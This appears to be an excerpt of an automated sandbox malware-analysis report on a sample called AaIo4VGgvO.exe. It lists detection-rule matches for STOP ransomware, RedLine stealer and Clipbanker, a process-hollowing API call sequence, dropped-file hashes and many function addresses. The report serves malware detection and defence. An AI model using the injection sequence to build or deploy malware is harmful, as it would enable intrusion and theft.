Source: 00000009.00000002.1854274839.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000009.00000002.1854274839.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000019.00000002.2401403681.0000000000930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000019.00000002.2401403681.0000000000930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000003.00000002.1672723761.000000000451F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001C.00000002.3013504826.0000000000970000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000002.1692412044.00000000043FE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7328, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7344, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7444, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7460, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7520, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7540, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7772, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7848, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7372, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7380, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		0_2_05DD0110
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E60110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		3_2_05E60110

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_00404F8E	0_2_00404F8E
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD3520	0_2_05DD3520
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD7520	0_2_05DD7520
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DFD7F1	0_2_05DFD7F1
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DDA79A	0_2_05DDA79A
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DDC760	0_2_05DDC760
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DDE6E0	0_2_05DDE6E0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DDA699	0_2_05DDA699
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05E1B69F	0_2_05E1B69F
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DFD1A4	0_2_05DFD1A4
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05E1E141	0_2_05E1E141
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD9120	0_2_05DD9120
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DE00D0	0_2_05DE00D0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD30F0	0_2_05DD30F0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD70E0	0_2_05DD70E0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DDB0B0	0_2_05DDB0B0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DDB000	0_2_05DDB000
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DEF030	0_2_05DEF030
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DDA026	0_2_05DDA026
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD7393	0_2_05DD7393
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05E1E37C	0_2_05E1E37C
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05E522C0	0_2_05E522C0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD7220	0_2_05DD7220
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD5DF7	0_2_05DD5DF7
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD5DE7	0_2_05DD5DE7
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05E12D1E	0_2_05E12D1E
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05E04E9F	0_2_05E04E9F
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD8E60	0_2_05DD8E60
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD89D0	0_2_05DD89D0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD59F7	0_2_05DD59F7
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DFF9B0	0_2_05DFF9B0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DFE9A3	0_2_05DFE9A3
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DDA916	0_2_05DDA916
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DF18D0	0_2_05DF18D0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD7880	0_2_05DD7880
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DDDBE0	0_2_05DDDBE0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD2B60	0_2_05DD2B60
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DE0B00	0_2_05DE0B00
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DD7A80	0_2_05DD7A80
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DDCA10	0_2_05DDCA10
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040D240	1_2_0040D240
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00419F90	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00405057	1_2_00405057
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040C070	1_2_0040C070
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0042E003	1_2_0042E003
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0042F010	1_2_0042F010
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00408030	1_2_00408030
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_004070E0	1_2_004070E0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00410160	1_2_00410160
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_004C8113	1_2_004C8113
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_004021C0	1_2_004021C0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_004C9343	1_2_004C9343
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0044237E	1_2_0044237E
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00405447	1_2_00405447
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00405457	1_2_00405457
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_004084C0	1_2_004084C0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_004344FF	1_2_004344FF
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00449506	1_2_00449506
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0044B5B1	1_2_0044B5B1
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040A660	1_2_0040A660
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00409686	1_2_00409686
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0041E690	1_2_0041E690
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00406740	1_2_00406740
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00402750	1_2_00402750
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040A710	1_2_0040A710
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040F730	1_2_0040F730
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00408780	1_2_00408780
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0044D7A1	1_2_0044D7A1
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0042C804	1_2_0042C804
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00406880	1_2_00406880
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00481920	1_2_00481920
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0044D9DC	1_2_0044D9DC
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_004069F3	1_2_004069F3
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00449A71	1_2_00449A71
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00443B40	1_2_00443B40
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00402B80	1_2_00402B80
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00406B80	1_2_00406B80
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00409CF9	1_2_00409CF9
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0044ACFF	1_2_0044ACFF
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040DD40	1_2_0040DD40
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00427D6C	1_2_00427D6C
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040BDC0	1_2_0040BDC0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00409DFA	1_2_00409DFA
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0042CE51	1_2_0042CE51
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00406EE0	1_2_00406EE0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00409F76	1_2_00409F76
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00420F30	1_2_00420F30
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00449FE3	1_2_00449FE3
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E63520	3_2_05E63520
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E67520	3_2_05E67520
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E8D7F1	3_2_05E8D7F1
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E6A79A	3_2_05E6A79A
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E6C760	3_2_05E6C760
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E6E6E0	3_2_05E6E6E0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05EAB69F	3_2_05EAB69F
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E6A699	3_2_05E6A699
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E8D1A4	3_2_05E8D1A4
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05EAE141	3_2_05EAE141
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E69120	3_2_05E69120
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E670E0	3_2_05E670E0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E630F0	3_2_05E630F0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E700D0	3_2_05E700D0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E6B0B0	3_2_05E6B0B0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E6A026	3_2_05E6A026
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E7F030	3_2_05E7F030
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E6B000	3_2_05E6B000
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E67393	3_2_05E67393
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05EAE37C	3_2_05EAE37C
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05EE22C0	3_2_05EE22C0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E67220	3_2_05E67220
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E65DE7	3_2_05E65DE7
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E65DF7	3_2_05E65DF7
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05EA2D1E	3_2_05EA2D1E
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E94E9F	3_2_05E94E9F
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E68E60	3_2_05E68E60
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E659F7	3_2_05E659F7
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E689D0	3_2_05E689D0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E8E9A3	3_2_05E8E9A3
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E8F9B0	3_2_05E8F9B0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E6A916	3_2_05E6A916
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E818D0	3_2_05E818D0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E67880	3_2_05E67880
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E6DBE0	3_2_05E6DBE0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E62B60	3_2_05E62B60
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E70B00	3_2_05E70B00
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E67A80	3_2_05E67A80
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E6CA10	3_2_05E6CA10
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0042E003	4_2_0042E003
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040D240	4_2_0040D240
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0041E690	4_2_0041E690
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040F730	4_2_0040F730
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00481920	4_2_00481920
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00419F90	4_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050D050	4_2_0050D050
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00405057	4_2_00405057
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040C070	4_2_0040C070
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0042F010	4_2_0042F010
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050D008	4_2_0050D008
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00408030	4_2_00408030
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050D028	4_2_0050D028
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_004070E0	4_2_004070E0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050D090	4_2_0050D090
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050D0A8	4_2_0050D0A8
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00410160	4_2_00410160
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_004C8113	4_2_004C8113
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_004021C0	4_2_004021C0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_004C9343	4_2_004C9343
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0044237E	4_2_0044237E
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00405447	4_2_00405447
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00405457	4_2_00405457
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_004084C0	4_2_004084C0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050C4E0	4_2_0050C4E0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_004344FF	4_2_004344FF
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00449506	4_2_00449506
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0044B5B1	4_2_0044B5B1
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040A660	4_2_0040A660
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00409686	4_2_00409686
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00406740	4_2_00406740
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00402750	4_2_00402750
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040A710	4_2_0040A710
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00408780	4_2_00408780
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0044D7A1	4_2_0044D7A1
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0042C804	4_2_0042C804
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00406880	4_2_00406880
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050C960	4_2_0050C960
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050C928	4_2_0050C928
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0044D9DC	4_2_0044D9DC
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_004069F3	4_2_004069F3
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050C988	4_2_0050C988
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050C9A8	4_2_0050C9A8
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00449A71	4_2_00449A71
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00443B40	4_2_00443B40
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050CB78	4_2_0050CB78
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00402B80	4_2_00402B80
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00406B80	4_2_00406B80
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00409CF9	4_2_00409CF9
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0044ACFF	4_2_0044ACFF
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040DD40	4_2_0040DD40
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050CD60	4_2_0050CD60
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040BDC0	4_2_0040BDC0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050CDF0	4_2_0050CDF0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00409DFA	4_2_00409DFA
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050CE58	4_2_0050CE58
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0042CE51	4_2_0042CE51
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00406EE0	4_2_00406EE0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00409F76	4_2_00409F76
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00420F30	4_2_00420F30
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050CF28	4_2_0050CF28
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050CFC0	4_2_0050CFC0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00449FE3	4_2_00449FE3
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050CF90	4_2_0050CF90

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe 9B0DA8AB12D9CA7CC05B9553BA3D3407E4EE38CB9A74298096022B2B46563FB2
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll 036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 05DF8EC0 appears 57 times
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 00428C81 appears 66 times
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 00420EC2 appears 40 times
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 004547A0 appears 64 times
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 00422587 appears 48 times
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 0042F7C0 appears 129 times
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 0044F23E appears 108 times
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 00428520 appears 125 times
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 05E90160 appears 49 times
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 05E00160 appears 49 times
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 05E88EC0 appears 57 times
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 00450870 appears 52 times
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 00454E50 appears 62 times
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 00441A25 appears 44 times
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: String function: 0044F26C appears 41 times

Source: AaIo4VGgvO.exe, 00000000.00000000.1647954563.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs AaIo4VGgvO.exe
Source: AaIo4VGgvO.exe, 00000001.00000000.1650757159.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs AaIo4VGgvO.exe
Source: AaIo4VGgvO.exe, 00000001.00000003.1663912343.0000000002F71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFires( vs AaIo4VGgvO.exe
Source: AaIo4VGgvO.exe, 00000003.00000000.1666190035.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs AaIo4VGgvO.exe
Source: AaIo4VGgvO.exe, 00000004.00000000.1670267026.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs AaIo4VGgvO.exe
Source: AaIo4VGgvO.exe, 00000005.00000002.1692124140.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs AaIo4VGgvO.exe
Source: AaIo4VGgvO.exe, 00000006.00000000.1689334685.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs AaIo4VGgvO.exe
Source: AaIo4VGgvO.exe, 0000000B.00000002.1827766916.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs AaIo4VGgvO.exe
Source: AaIo4VGgvO.exe, 0000000C.00000000.1822679396.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs AaIo4VGgvO.exe
Source: AaIo4VGgvO.exe, 00000017.00000000.2089020439.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs AaIo4VGgvO.exe
Source: AaIo4VGgvO.exe, 00000018.00000000.2092802620.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs AaIo4VGgvO.exe
Source: AaIo4VGgvO.exe	Binary or memory string: OriginalFilenameFires( vs AaIo4VGgvO.exe

Source: AaIo4VGgvO.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

